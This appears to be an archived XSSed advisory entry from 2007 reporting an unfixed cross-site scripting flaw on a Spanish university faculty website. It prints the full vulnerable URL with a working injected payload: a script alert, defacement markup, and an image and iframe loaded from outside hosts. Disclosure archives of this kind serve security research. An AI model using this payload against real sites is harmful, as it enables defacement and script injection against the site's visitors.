Lucene search

K
xssedNorehemXSSED:13493
HistoryAug 08, 2007 - 12:00 a.m.

Unfixed XSS vulnerability at www.fcou.uvigo.es

2007-08-0800:00:00
Norehem
www.xssed.com
7

Security researcher Norehem, has submitted on 08/08/2007 a cross-site-scripting (XSS) vulnerability affecting www.fcou.uvigo.es, which at the time of submission ranked 28507 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 09/08/2007. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail.

Vulnerable URL: http://www.fcou.uvigo.es/index.php?seccion=>"><SCRIPT>alert(‘Norehem WaS HeRe!!’)</SCRIPT><H1><H1><H1><marquee>Norehem was here</marquee></H1></H1></H1><CENTER><IMG SRC=“http://www.cibernautica.com/forocibernautica/upload/norehemzu4.gif”></CENTER><iframe src=http://jersain.iespana.es/xss.html <